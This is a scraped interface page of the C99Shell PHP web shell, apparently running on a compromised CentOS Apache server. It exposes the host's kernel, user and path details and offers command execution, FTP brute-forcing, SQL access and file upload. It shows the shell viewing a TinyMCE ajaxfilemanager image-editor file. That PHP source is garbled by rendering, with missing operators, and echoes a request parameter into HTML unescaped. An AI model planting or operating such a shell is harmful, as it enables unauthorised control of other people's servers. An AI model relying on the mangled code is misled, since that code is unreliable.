!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/lib/tinymce/plugins/ajaxfilemanager/   drwxr-xr-x
Free 9.4 GB of 93.48 GB (10.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ajax_image_editor.php (9.42 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
        
/**
     * Ajax image editor platform
     * @author Logan Cai (cailongqun [at] yahoo [dot] com [dot] cn)
     * @link www.phpletter.com
     * @since 22/May/2007
     *
     */
    
require_once(dirname(__FILE__) . DIRECTORY_SEPARATOR "inc" DIRECTORY_SEPARATOR "config.php");
    if(
CONFIG_SYS_VIEW_ONLY || !CONFIG_OPTIONS_EDITABLE)
    {
        die(
SYS_DISABLED);
    }
        
$session->gc();
        
$_GET['path'] = empty($_GET['path'])?CONFIG_SYS_ROOT_PATH "ajax_image_editor_demo.jpg":$_GET['path'];
        if(!empty(
$_GET['path']) && file_exists($_GET['path']) && is_file($_GET['path']) && isUnderRoot($_GET['path']))
        {
                
$path $_GET['path'];
        }else 
        {
            die(
IMG_GEN_IMG_NOT_EXISTS);
        }
        require_once(
CLASS_HISTORY);
        
$history = new History($path$session);
        if(
CONFIG_SYS_DEMO_ENABLE)
        {
            
$sessionImageInfo $history->getLastestRestorable();
            
$originalSessionImageInfo $history->getOriginalImage();
            if(
sizeof($originalSessionImageInfo))
            {
                
$path backslashToSlash($session->getSessionDir() . $originalSessionImageInfo['info']['name']);
            }
        }
        require_once(
dirname(__FILE__) . DIRECTORY_SEPARATOR "inc" DIRECTORY_SEPARATOR "class.image.php");
        
$image = new Image();
        
        
$imageInfo $image->getImageInfo($path);

    
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="author" content="Logan Cai" />
<meta name="website" content="http://www.phpletter.com" />
<script type="text/javascript" src="jscripts/ajaximageeditor_c.js"></script>
<!--
<script type="text/javascript" src="jscripts/jquery.js"></script>
<script type="text/javascript" src="jscripts/form.js"></script>
<script type="text/javascript" src="jscripts/select.js"></script>
<script type="text/javascript" src="jscripts/jqModal.js"></script>
<script type="text/javascript" src="jscripts/rotate.js"></script>
<script type="text/javascript" src="jscripts/interface.js"></script>

-->
<script type="text/javascript" src="jscripts/ajaximageeditor.js"></script>






<script type="text/javascript">
    var imageHistory = false;
    var currentFolder =  '<?=  removeTrailingSlash(backslashToSlash(dirname($path))); ?>';
    var warningLostChanges = '<?=  IMG_WARNING_LOST_CHANAGES?>';
    var warningReset = '<?=  IMG_WARNING_REST?>';
    var warningResetEmpty = '<?=  IMG_WARNING_EMPTY_RESET?>';
    var warningEditorClose = '<?=  IMG_WARING_WIN_CLOSE?>';
    var warningUndoImage = '<?=  IMG_WARNING_UNDO?>';
    var warningFlipHorizotal = '<?=  IMG_WARING_FLIP_H?>';
    var warningFlipVertical = '<?=  IMG_WARING_FLIP_V?>';
    var numSessionHistory = <?=  $history->getNumRestorable(); ?>;
    var noChangeMadeBeforeSave = '<?=  IMG_WARNING_NO_CHANGE_BEFORE_SAVE?>';
    var warningInvalidNewName = '<?=  IMG_SAVE_AS_ERR_NAME_INVALID?>';
    var wordCloseWindow = '<?=  LBL_ACTION_CLOSE?>';
    var warningNoFolderSelected = '<?=  IMG_SAVE_AS_NOT_FOLDER_SELECTED?>';
    var urlGetFolderList = '<?=  appendQueryString(CONFIG_URL_GET_FOLDER_LISTmakeQueryString(array('path'))); ?>';
    $(document).ready(
        function()
        {
            $('#windowSaveAs').jqm();
            $('#image_mode').val('');
            $('#angle').val(0);
            $(getImageElement()).clone().appendTo("#hiddenImage");
            changeMode();
            initDisabledButtons(true);
        }
    );
    
</script>
<link href="theme/<?=  CONFIG_THEME_NAME?>/css/ajaximageeditor.css" type="text/css" rel="stylesheet" />
<link href="theme/<?=  CONFIG_THEME_NAME?>/css/jqModal.css" type="text/css" rel="stylesheet" />
<title>Ajax Image Editor</title>
</head>
<body>
<?php
    
//displayArray($_SESSION);
     
?>
<div id="controls">
    <fieldset id="modes">
        <legend>Modes</legend>
        <form name="formAction" id="formAction" method="post" action="<?=  appendQueryString(CONFIG_URL_IMAGE_UNDOmakeQueryString(array('path'))); ?>">
            <input type="hidden" name="file_path" id="file_path" value="<?=  $_GET['path']; ?>" />
            
            <p><label><?=  IMG_MODE_RESIZE?></label> <input type="radio" name="mode" value="resize" class="input" checked="checked"  onclick="return changeMode();"/>
            <label><?=  IMG_MODE_CROP?></label> <input type="radio" name="mode" value="crop" class="input" onclick="return changeMode();" />
            <label><?=  IMG_MODE_ROTATE?></label> <input type="radio" name="mode" value="rotate" class="input" onclick="return changeMode();" />
            <label><?=  IMG_MODE_FLIP?></label> <input type="radio" name="mode" value="flip" class="input" onclick="return changeMode();" />
            <label><?=  IMG_CHECKBOX_CONSTRAINT?></label> <input type="checkbox" name="constraint" id="constraint" value="1" class="input" onclick="return toggleConstraint();" />
            <!--            <label>Watermark:</label> <input type="radio" name="mode" value="watermark" class="input" onclick="return false;" />-->
            
            <button id="actionRotateLeft" class="disabledButton" onclick="return leftRotate();" disabled><?=  IMG_BTN_ROTATE_LEFT?></button>
            <button id="actionRotateRight" class="disabledButton" onclick="return rightRotate();" disabled><?=  IMG_BTN_ROTATE_RIGHT?></button>
            <button id="actionFlipH" class="disabledButton" onclick="return flipHorizontal();" disabled><?=  IMG_BTN_FLIP_H?></button>
            <button id="actionFlipV" class="disabledButton" onclick="return flipVertical();" disabled><?=  IMG_BTN_FLIP_V?></button>            
            <button id="actionReset" class="button" onclick="return resetEditor();"><?=  IMG_BTN_RESET?></button>
            <button id="actionUndo" class="button" onclick="return undoImage();"><?=  IMG_BTN_UNDO?></button>
            <button id="actionSave" class="button" onclick="return saveImage();"><?=  IMG_BTN_SAVE?></button>
      <button id="actionSaveAs" class="button" onclick="return saveAsImagePre();"><?=  IMG_BTN_SAVE_AS?></button>
            <button id="actionClose" class="button" onclick="return editorClose();"><?=  IMG_BTN_CLOSE?></button></p>
        </form>
    </fieldset>
    <fieldset id="imageInfo">
        <legend id="imageInfoLegend"><?=  IMG_INFO?></legend>
        <form name="formImageInfo" action="<?=  appendQueryString(CONFIG_URL_IMAGE_SAVEmakeQueryString(array('path'))); ?>" method="post" id="formImageInfo">
            <p><input type="hidden" name="mode" id="image_mode" value="" />
      <input type="hidden" name="new_name" id="hidden_new_name" value="" />
      <input type="hidden" name="save_to" id="hidden_save_to" value="" />
            <input type="hidden" name="path" id="path" value="<?=  $_GET['path']; ?>"  />
            <input type="hidden" name="flip_angle" id="flip_angle" value="" />
            <label><?=  IMG_LBL_WIDTH?></label> <input type="text" name="width" id="width" value="" class="input imageInput"  />
            <label><?=  IMG_LBL_HEIGHT?></label> <input type="text" name="height" id="height" value="" class="input imageInput" />
            <label><?=  IMG_LBL_X?></label> <input type="text" name="x" id="x" value="" class="input imageInput"/>
            <label><?=  IMG_LBL_Y?></label> <input type="text" name="y" id="y" value="" class="input imageInput"/>
<!--            <b>Percentage:</b> <input type="text" name="percentage" id="percentage" value="" class="input imageInput"/>-->
            <label><?=  IMG_LBL_RATIO?></label> <input type="text" name="ratio" id="ratio" value="" class="input imageInput"/>
            <label><?=  IMG_LBL_ANGLE?></label> <input type="text" name="angle" id="angle" value="" class="input imageInput" />
            
            </p>
        </form>
    </fieldset>
</div>
<div id="imageArea">
    <div id="imageContainer">
        <img src="<?=  $path?>" name="<?=  basename($path); ?>" width="<?=  $imageInfo['width']; ?>" height="<?=  $imageInfo['height']; ?>" />
    </div>
    <div id="resizeMe">
        <div id="resizeSE"></div>
        <div id="resizeE"></div>
        <div id="resizeNE"></div>
        <div id="resizeN"></div>
        <div id="resizeNW"></div>
        <div id="resizeW"></div>
        <div id="resizeSW"></div>
        <div id="resizeS"></div>
        <img id="loading" style="display:none;" src="theme/<?=  CONFIG_THEME_NAME?>/images/ajaxLoading.gif" />
    </div>
</div>
    <div id="hiddenImage">
    </div>
        <div id="windowSaveAs" class="jqmWindow" style="display:none">
        <a href="#" class="jqmClose" id="windowSaveClose"><?=  LBL_ACTION_CLOSE?></a>
      <form id="formSaveAs" name="formSaveAs" action="" method="post">
        <table class="tableForm" cellpadding="0" cellspacing="0">
          <thead>
            <tr>
              <th colspan="2"><?=  IMG_LBL_SAVE_AS?></th>
          </tr>
        </thead>
        <tbody>
            <tr>
              <th>
                <label><?=  IMG_LBL_NEW_NAME?></label>
            </th>
            <td>
                <input type="text" id="new_name" class="input" name="new_name" value="" />&nbsp;.<?=  getFileExt($path); ?>
            </td>
          </tr>
          <tr>
              <th>
                <label><?=  IMG_LBL_SAVE_TO?></label>
            </th>
            <td>
                <select class="input" name="save_to" id="save_to"></select>
            </td>
          </tr>
          <tr>
              <th>&nbsp;
            </th>
            <td>
            <span class="comments">*</span>
            <?=  IMG_NEW_NAME_COMMENTS?>
            </td>
          </tr>
        </tbody>
        <tfoot>
            <tr>
            <th>&nbsp;</th>
          <td><input type="button" class="button" value="<?=  IMG_BTN_SAVE_AS?>" onclick="return saveAsImage();" /></td>
          </tr>
        </tfoot>
      </table>
      </form>
    </div>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0044 ]--